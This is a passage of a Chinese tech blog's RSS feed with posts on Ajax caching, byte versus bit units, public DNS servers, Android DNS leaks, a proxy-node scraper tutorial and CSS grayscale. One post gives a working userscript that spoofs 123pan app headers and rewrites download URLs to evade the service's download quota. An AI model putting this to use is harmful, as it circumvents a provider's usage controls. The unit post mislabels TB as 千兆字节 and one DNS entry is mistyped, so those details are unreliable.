        var xhr = new XMLHttpRequest();      
        xhr.open(&apos;get&apos;, &apos;./server.php?&apos;+Math.random());             
        xhr.send(null);         
    }     
    &amp;lt;/script&amp;gt; 
&amp;lt;/head&amp;gt; 
&amp;lt;body&amp;gt;     
    &amp;lt;h2&amp;gt;Ajax对缓存的处理&amp;lt;/h2&amp;gt;     
    &amp;lt;input type=&quot;button&quot; value=&quot;触发&quot; onclick=&quot;f1()&quot;&amp;gt;     
    &amp;lt;div id=&quot;result&quot;&amp;gt;&amp;lt;/div&amp;gt; 
&amp;lt;/body&amp;gt; 
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;给动态程序设置header头信息&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;//设置header头禁止浏览器缓存当前页面 
header(&quot;Cache-Control:no-cache&quot;); 
header(&quot;Pragma:no-cache&quot;); 
header(&quot;Expires:-1&quot;); 
$fp = fopen(&quot;test.txt&quot;,&quot;a&quot;); 
fwrite($fp, &quot;php &quot;); fclose($fp);
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Byte，bit还傻傻分不清?</title><link>https://blog.hiyun.top/posts/bytebit%E8%BF%98%E5%82%BB%E5%82%BB%E5%88%86%E4%B8%8D%E6%B8%85_/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/bytebit%E8%BF%98%E5%82%BB%E5%82%BB%E5%88%86%E4%B8%8D%E6%B8%85_/</guid><description>Byte，bit还傻傻分不清?</description><pubDate>Wed, 13 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在数字化时代，我们经常听到关于计算机存储单位的术语，例如 Byte 、bit 、 Mbps 和 MB/s 等
这些单位在计算机科学和信息技术领域起着关键作用，但许多人可能对它们的确切含义和区别感到困惑
在本文中，我们将深入探讨 Byte 和 bit 的差异，并探讨与之相关的衍生单位，如 Mbps 和 MB/s&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;h2&gt;Byte 与 bit 的基本概念&lt;/h2&gt;
&lt;p&gt;bit（比特）
bit 是计算机存储单位中的最小单元，它可以表示二进制中的 0 或 1
一个 bit 就是一个二进制数字&lt;/p&gt;
&lt;h2&gt;Byte（字节）&lt;/h2&gt;
&lt;p&gt;Byte 是更大的存储单位，由 8 个 bit 组成
它通常用来表示一个字符，例如字母、数字或符号
计算机文件的大小通常以字节为单位表示，例如 1 KB（千字节）等于 1024 字节&lt;/p&gt;
&lt;h2&gt;bit 和 Byte 之间的关系&lt;/h2&gt;
&lt;p&gt;bit 和 Byte 之间的关系是非常直观的：
&lt;code&gt;1 Byte = 8 bit&lt;/code&gt;
这是因为 Byte 由 8 个 bit 组成，每个 bit 都代表二进制中的一个位置&lt;/p&gt;
&lt;h2&gt;衍伸单位：Mbps和MB/s&lt;/h2&gt;
&lt;h3&gt;Mbps（兆比特每秒）&lt;/h3&gt;
&lt;p&gt;Mbps 表示兆比特每秒，是网络速度和数据传输速度的常见单位
兆比特是数据传输速度的衡量单位，而每秒则表示在一秒钟内传输的比特数&lt;/p&gt;
&lt;h3&gt;MB/s（兆字节每秒）&lt;/h3&gt;
&lt;p&gt;MB/s 表示兆字节每秒，通常用于测量存储设备（如硬盘、固态硬盘）的读写速度
与 Mbps 不同，MB/s 考虑的是字节而不是比特
1 兆字节每秒等于 8 兆比特每秒，因为 1 字节等于 8 比特&lt;/p&gt;
&lt;h2&gt;存储容量的表示&lt;/h2&gt;
&lt;p&gt;除了 Byte 、KB 、MB 、GB 等基本单位外，还有一些更大的存储容量单位：&lt;/p&gt;
&lt;p&gt;TB（千兆字节）： 1 TB 等于 1024 GB，常用于描述大型存储设备的容量，如硬盘驱动器、云存储等&lt;/p&gt;
&lt;p&gt;PB（拍字节）： 1 PB 等于 1024 TB，用于表示极大规模的数据存储，例如大型数据中心的存储容量&lt;/p&gt;
&lt;p&gt;EB（艾字节）： 1 EB 等于 1024 PB，这是一个非常庞大的存储容量，通常用于描述全球互联网的总体存储需求&lt;/p&gt;
&lt;h2&gt;数据传输速度的实际运用&lt;/h2&gt;
&lt;p&gt;在实际应用中，网络速度和存储设备的读写速度是关键考虑因素。例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;下载和上传速度： 互联网服务提供商通常以Mbps为单位提供下载和上传速度，这直接影响用户在互联网上浏览、下载文件等活动的体验&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;存储设备速度： 固态硬盘（SSD）通常比传统机械硬盘（HDD）具有更高的读写速度，以 MB/s 为单位进行评估&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>国内外DNS列表</title><link>https://blog.hiyun.top/posts/%E5%9B%BD%E5%86%85%E5%A4%96dns%E5%88%97%E8%A1%A8/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E5%9B%BD%E5%86%85%E5%A4%96dns%E5%88%97%E8%A1%A8/</guid><description>国内外DNS列表</description><pubDate>Sat, 09 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;国内外知名免费公共DoT/DoH加密DNS服务器(含IPV6)&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;加密DNS&lt;/code&gt;传输过程中&lt;code&gt;第三方无法查看&lt;/code&gt;
无法污染DNS结果&lt;code&gt;不代表&lt;/code&gt;DNS服务器本身不作恶&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在国内使用国外加密DNS有可能无法上网
能使用&lt;code&gt;8.8.8.8&lt;/code&gt;上网不代表 &lt;code&gt;DoH(https://8.8.8.8/dns-query)&lt;/code&gt; 就可以访问
经测试大多数国外DoH在国内都&lt;code&gt;被屏蔽&lt;/code&gt;
能使用的解析速度也很慢&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;阿里公共DNS&lt;/h2&gt;
&lt;p&gt;IPv4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;223.5.5.5
223.6.6.6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPv6:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2400:3200::1
2400:3200:baba::1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://223.5.5.5/dns-query
https://223.6.6.6/dns-query
https://dns.alidns.com/dns-query
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoT:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dns.alidns.com
23.5.5.5
223.6.6.6
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;腾讯公共DNS(DNSPod)&lt;/h2&gt;
&lt;p&gt;IPv4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;119.29.29.29
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPV6:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2402:4e00::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://doh.pub/dns-query
https://1.12.12.12/dns-query
https://120.53.53.53/dns-query
https://sm2.doh.pub/dns-query  # 国密
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoT:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dot.pub
1.12.12.12
120.53.53.53
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;百度公共DNS&lt;/h2&gt;
&lt;p&gt;IPV4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;180.76.76.76
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPV6:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2400:da00::6666
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;360公共DNS&lt;/h2&gt;
&lt;p&gt;电信/铁通/移动IPv4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;101.226.4.6
218.30.118.6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;联通IPv4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;123.125.81.6
140.207.198.6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://doh.360.cn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoT:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dot.360.cn
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CNNIC DNS&lt;/h2&gt;
&lt;p&gt;IPV4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.2.4.8
210.2.4.8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPV6:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2001:dc7:1000::1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;台湾Quad 101(twnic)&lt;/h2&gt;
&lt;p&gt;IPV4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;101.101.101.101
101.102.103.104
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPV6:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2001:de4::101
2001:de4::102
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://dns.twnic.tw/dns-query
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Google公共DNS&lt;/h2&gt;
&lt;p&gt;IPv4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;8.8.8.8
8.8.4.4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPV6:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2001:4860:4860::8888
2001:4860:4860::8844
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://dns.google/dns-query
https://8.8.8.8/dns-query
https://8.8.4.4/dns-query
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoT:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dns.google
8.8.8.8
8.8.4.4
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cloudflare公共DNS&lt;/h2&gt;
&lt;p&gt;IPV4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.1.1.1
1.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPV6:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2606:4700:4700::1111
2606:4700:4700::1001
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://1.1.1.1/dns-query
https://1.0.0.1/dns-query
https://cloudflare-dns.com/dns-query
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoT:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.1.1.1
1.0.0.1
1dot1dot1dot1.cloudflare-dns.com
cloudflare-dns.com
one.one.one.one
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;DNS.SB公共DNS&lt;/h2&gt;
&lt;p&gt;IPv4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;185.222.222.222
45.11.45.11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPV6:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2a09::
2a11::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://doh.sb/dns-query
https://doh.dns.sb/dns-query # 和上一个相同, 只是域名不一样
https://45.11.45.11/dns-query
https://185.222.222.222/dns-query
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoT:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dot.sb
185.222.222.222
45.11.45.11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH香港节点:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://hk-hkg.doh.sb/dns-query 
https://dns.sb/doh/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;AdGuard 公共DNS&lt;/h2&gt;
&lt;p&gt;IPV4默认过滤广告:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;94.140.14.14
94.140.15.15
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPV4无过滤:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;94.140.14.140
94.140.14.141
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPV4家庭保护(过滤广告与成人内容):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;94.140.14.15
94.140.15.16
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH默认过滤广告:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://dns.adguard.com/dns-query
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH家庭保护(过滤广告与成人内容):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://dns-family.adguard.com/dns-query
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH非过滤:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://dns-unfiltered.adguard.com/dns-query
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoT默认过滤广告:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dns.adguard.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoT家庭保护(过滤广告与成人内容):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dns-family.adguard.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoT非过滤:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dns-unfiltered.adguard.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;OpenDNS(Cisco)&lt;/h2&gt;
&lt;p&gt;IPv4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;208.67.222.222
208.67.220.220
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPV4 Family:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;208.67.222.123
208.67.220.123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPV6:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2620:0:ccc::2
2620:0:ccd::2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://doh.opendns.com/dns-query
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH Family:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://doh.familyshield.opendns.com/dns-query
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoT:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dns.umbrella.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;IBM Quad9&lt;/h2&gt;
&lt;p&gt;IPv4默认安全:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;9.9.9.9
149.112.112.112
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPv6默认安全:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2620:fe::fe
2620:fe::fe:9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH默认:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://dns.quad9.net/dns-query
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoT默认:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dns.quad9.net
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPv4无过滤:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;9.9.9.10
149.112.112.10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPv6无过滤:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2620:fe::10
2620:fe::fe:10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH无过滤:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://dns10.quad9.net/dns-query
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoT无过滤:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dns10.quad9.net
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPv4 ECS保护:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;9.9.9.11
149.112.112.11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPv6 ECS保护:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2620:fe::11
2620:fe::fe:11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoH ECS保护:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://dns11.quad9.net/dns-query
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DoT ECS保护:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dns11.quad9.net
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>安卓私人DNS与代理中的DNS泄露问题探索</title><link>https://blog.hiyun.top/posts/%E5%AE%89%E5%8D%93%E7%A7%81%E4%BA%BAdns%E4%B8%8E%E4%BB%A3%E7%90%86%E4%B8%AD%E7%9A%84dns%E6%B3%84%E9%9C%B2%E9%97%AE%E9%A2%98%E6%8E%A2%E7%B4%A2/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E5%AE%89%E5%8D%93%E7%A7%81%E4%BA%BAdns%E4%B8%8E%E4%BB%A3%E7%90%86%E4%B8%AD%E7%9A%84dns%E6%B3%84%E9%9C%B2%E9%97%AE%E9%A2%98%E6%8E%A2%E7%B4%A2/</guid><description>安卓私人DNS与代理中的DNS泄露问题探索</description><pubDate>Thu, 07 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;最近，我在研究安卓设备上私人DNS、代理软件与DNS泄露的问题，使用IPCheck.ing进行了多次测试，发现了一些有趣的现象。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;h3&gt;问题背景&lt;/h3&gt;
&lt;p&gt;在使用代理软件时，启用国内的DoT会导致DNS泄露，而不使用DoT则可能暴露真实IP。此外，境外的许多DoT服务被屏蔽，增加了日常使用的复杂性。&lt;/p&gt;
&lt;h3&gt;遇到的问题&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;国内DoT与代理软件&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;当使用国内DoT时，代理软件可能导致DNS泄露，无法有效隐藏请求路径。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;不使用DoT的风险&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;如果不使用DoT，DNS请求会通过运营商的DNS，存在被监控和暴露真实IP的风险。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;境外DoT的局限性&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;由于许多境外DoT被屏蔽，无法使用，给网络体验带来困扰。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;问题根源&lt;/h3&gt;
&lt;p&gt;这些问题主要&lt;strong&gt;源于安卓系统的限制&lt;/strong&gt;。在启用私人DNS后，代理软件无法修改DNS设置，即使是AdGuard等知名软件也面临类似挑战。&lt;/p&gt;
&lt;h2&gt;解决方案&lt;/h2&gt;
&lt;p&gt;经过多次尝试，我找到了一种平衡的方法：&lt;/p&gt;
&lt;p&gt;把安卓私人DNS设置为dns.sb，这样可以有效避免DNS泄露。尽管在国内响应稍慢，但未被屏蔽，并能根据IP自动选择服务器。如果介意响应速度，日常使用时可以切换到国内的DoT；需要更高安全时，再切换到DNS.sb。&lt;/p&gt;
&lt;p&gt;通过这些调整，我能够在不同场景下有效保护隐私，同时提升网络稳定性&lt;/p&gt;
</content:encoded></item><item><title>绕过123pan的1G限制</title><link>https://blog.hiyun.top/posts/%E7%BB%95%E8%BF%87123pan%E7%9A%841g%E9%99%90%E5%88%B6/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E7%BB%95%E8%BF%87123pan%E7%9A%841g%E9%99%90%E5%88%B6/</guid><description>绕过123pan的1G限制</description><pubDate>Sun, 03 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q：这个脚本谁写的？&lt;/strong&gt;
&lt;strong&gt;A：不是我写的，脚本里面有注释，但是已经删库了。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q：有没有什么优化？&lt;/strong&gt;
&lt;strong&gt;A：没有，只删除了冗余的重复代码，改了一些函数调用。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q：怎么使用？&lt;/strong&gt;
&lt;strong&gt;A：物理机或者虚拟机上面下个123，自己抓包自己改脚本里面的???，不再提供现成UA。改完丢进油猴里面就行。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ==UserScript==
// @name         123云盘下载辅助
// @namespace    https://github.com/Bao-qing/123pan
// @version      0.3
// @description  123 Cloud Drive Unlimited Flow
// @match        https://www.123pan.com/*
// @match        https://www.123pan.cn/*
// @match        https://www.123865.com/*
// @match        https://www.123684.com/*
// @grant        none
// @author       Qing
// @downloadURL https://update.greasyfork.org/scripts/510621/123%E4%BA%91%E7%9B%98%E4%B8%8B%E8%BD%BD%E8%BE%85%E5%8A%A9.user.js
// @updateURL https://update.greasyfork.org/scripts/510621/123%E4%BA%91%E7%9B%98%E4%B8%8B%E8%BD%BD%E8%BE%85%E5%8A%A9.meta.js
// ==/UserScript==

(function () {
    const OriginalXHR = window.XMLHttpRequest;
    const headersToOverride = {
        &quot;user-agent&quot;: &quot;123pan/v2.4.7(Android_??;???)&quot;,
        &quot;platform&quot;: &quot;android&quot;,
        &quot;app-version&quot;: &quot;69&quot;,
        &quot;x-app-version&quot;: &quot;2.4.7&quot;
    };

    function NewXHR() {
        const xhr = new OriginalXHR();

        xhr.open = function (method, url, async, user, password) {
            this._url = url;
            return OriginalXHR.prototype.open.call(this, method, url, async, user, password);
        };

        xhr.setRequestHeader = function (header, value) {
            const lowerHeader = header.toLowerCase();
            if (lowerHeader in headersToOverride) {
                value = headersToOverride[lowerHeader];
            } else {
                console.log(&apos;未覆盖的请求头:&apos;, header);
            }
            return OriginalXHR.prototype.setRequestHeader.call(this, header, value);
        };

        xhr.send = function (...args) {
            this.addEventListener(&apos;readystatechange&apos;, function () {
                if (xhr.readyState === 4 &amp;amp;&amp;amp; xhr.status === 200) {
                    try {
                        const responseJSON = JSON.parse(xhr.responseText);
                        console.log(&apos;原始响应:&apos;, responseJSON);

                        if (responseJSON.data &amp;amp;&amp;amp; responseJSON.data.DownloadUrl) {
                            const originUrl = responseJSON.data.DownloadUrl;
                            const newUrlNoRedirect = `${originUrl}&amp;amp;auto_redirect=0`;
                            const base64Data = btoa(newUrlNoRedirect);
                            responseJSON.data.DownloadUrl = `https://web-pro2.123952.com/download-v2/?params=${base64Data}&amp;amp;is_s3=0`;
                            console.log(&apos;修改后的 DownloadUrl:&apos;, responseJSON.data.DownloadUrl);
                        }

                        const modifiedResponseText = JSON.stringify(responseJSON);

                        Object.defineProperty(xhr, &apos;responseText&apos;, {
                            get: () =&amp;gt; modifiedResponseText
                        });
                        console.log(&apos;修改后的响应:&apos;, modifiedResponseText);
                    } catch (error) {
                        console.error(&apos;修改响应时出错:&apos;, error);
                    }
                }
            });

            return OriginalXHR.prototype.send.apply(this, args);
        };

        return xhr;
    }

    window.XMLHttpRequest = NewXHR;
})();
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Pandora-Box使用教程</title><link>https://blog.hiyun.top/posts/pandora-box%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/pandora-box%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/</guid><description>Pandora-Box使用教程</description><pubDate>Sat, 02 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;1、&lt;a href=&quot;https://github.com/snakem982/Pandora-Box&quot;&gt;Pandora-Box&lt;/a&gt; 是什么？&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;一个简易的 Mihomo 桌面客户端，可以进行网络代理&lt;/li&gt;
&lt;li&gt;爬取功能可以管理大量订阅节点，支持对节点的协议类型和国家地区筛选，支持将爬取的节点导出&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows 最新版本 &lt;a href=&quot;https://github.com/snakem982/Pandora-Box/releases/download/v0.2.20/windows-amd64.zip&quot;&gt;windows-amd64.zip &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mac intel 处理器最新版本 &lt;a href=&quot;https://github.com/snakem982/Pandora-Box/releases/download/v0.2.20/darwin-amd64.zip&quot;&gt;darwin-amd64.zip&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mac M 处理器最新版本 &lt;a href=&quot;https://github.com/snakem982/Pandora-Box/releases/download/v0.2.20/darwin-arm64.zip&quot;&gt;darwin-arm64.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;2、本文重点介绍其爬取的使用，其他的自行探索&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;Pandora-Box：下文简称pb&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;2.1、爬取原理是什么？&lt;/h3&gt;
&lt;p&gt;没看源码，个人猜测
pb会根据你输入的url地址，发起网络请求
对请求的内容进行解析，然后收集整理出各个类型的节点
再进一步去重后使用 Mihomo 进行节点可用性的检测&lt;/p&gt;
&lt;h3&gt;2.2、爬取之前为什么需要准备个可以富强的订阅？&lt;/h3&gt;
&lt;p&gt;因为你爬取的内容可能需要富强，比如github。&lt;/p&gt;
&lt;h3&gt;2.3、爬取之前为什么需要退出其他代理软件？&lt;/h3&gt;
&lt;p&gt;为了不影响节点可用性的检测&lt;/p&gt;
&lt;h1&gt;3、具体操作步骤&lt;/h1&gt;
&lt;h2&gt;3.1、在配置中导入预先准备的订阅，然后选中&lt;/h2&gt;
&lt;p&gt;如果没有可自购或者在GitHub搜索节点抓取&lt;/p&gt;
&lt;h2&gt;3.2、在抓取中导入要抓取的URL地址&lt;/h2&gt;
&lt;h3&gt;3.2.1 爬取源&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/search?q=vless&amp;amp;type=repositories&amp;amp;s=updated&amp;amp;o=desc&quot;&gt;Github 免费节点 &lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;3.2.2 下面以这个库举例&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/soroushmirzaei/telegram-configs-collector&quot;&gt;telegram-configs-collector&lt;/a&gt;
进入主页就可以看到订阅了&lt;/p&gt;
&lt;h3&gt;3.2.3 复制订阅地址，一一将其导入抓取页面里&lt;/h3&gt;
&lt;p&gt;抓取类型选择fuzzy模糊抓取，导入完毕点击抓取，等待5分钟&lt;/p&gt;
&lt;h2&gt;3.3、抓取完成进入筛选页面&lt;/h2&gt;
&lt;p&gt;就是点击右上角那个小漏斗图标
然后你可以根据你喜欢的协议类型、国家地区进行筛选了&lt;/p&gt;
&lt;h2&gt;3.4、节点的使用&lt;/h2&gt;
&lt;h3&gt;3.4.1 导出使用&lt;/h3&gt;
&lt;p&gt;点击 &lt;strong&gt;导出配置&lt;/strong&gt;，就会在浏览器中下载可用的节点配置
文件名为 Pandora-Box-Share.yaml
这样你就可以导入到你喜欢的代理工具中了&lt;/p&gt;
&lt;h3&gt;3.4.2 生成新配置&lt;/h3&gt;
&lt;p&gt;点击 &lt;strong&gt;生成新配置&lt;/strong&gt;，就会在配置页面到一个以Filter开头的配置文件，可以选中使用&lt;/p&gt;
&lt;h2&gt;3.5、如何获取大量高质量节点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;多使用搜索，导入多一些的爬取地址，量变引起质变&lt;/li&gt;
&lt;li&gt;靠某些tg群组分享&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>一段代码将网站变为黑白</title><link>https://blog.hiyun.top/posts/%E4%B8%80%E6%AE%B5%E4%BB%A3%E7%A0%81%E5%B0%86%E7%BD%91%E7%AB%99%E5%8F%98%E4%B8%BA%E9%BB%91%E7%99%BD/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E4%B8%80%E6%AE%B5%E4%BB%A3%E7%A0%81%E5%B0%86%E7%BD%91%E7%AB%99%E5%8F%98%E4%B8%BA%E9%BB%91%E7%99%BD/</guid><description>一段代码将网站变为黑白</description><pubDate>Fri, 25 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;本教程理论上适用于所有网页&lt;/h2&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;最终效果在此省略&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在网页的 &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt; 前添加以下代码
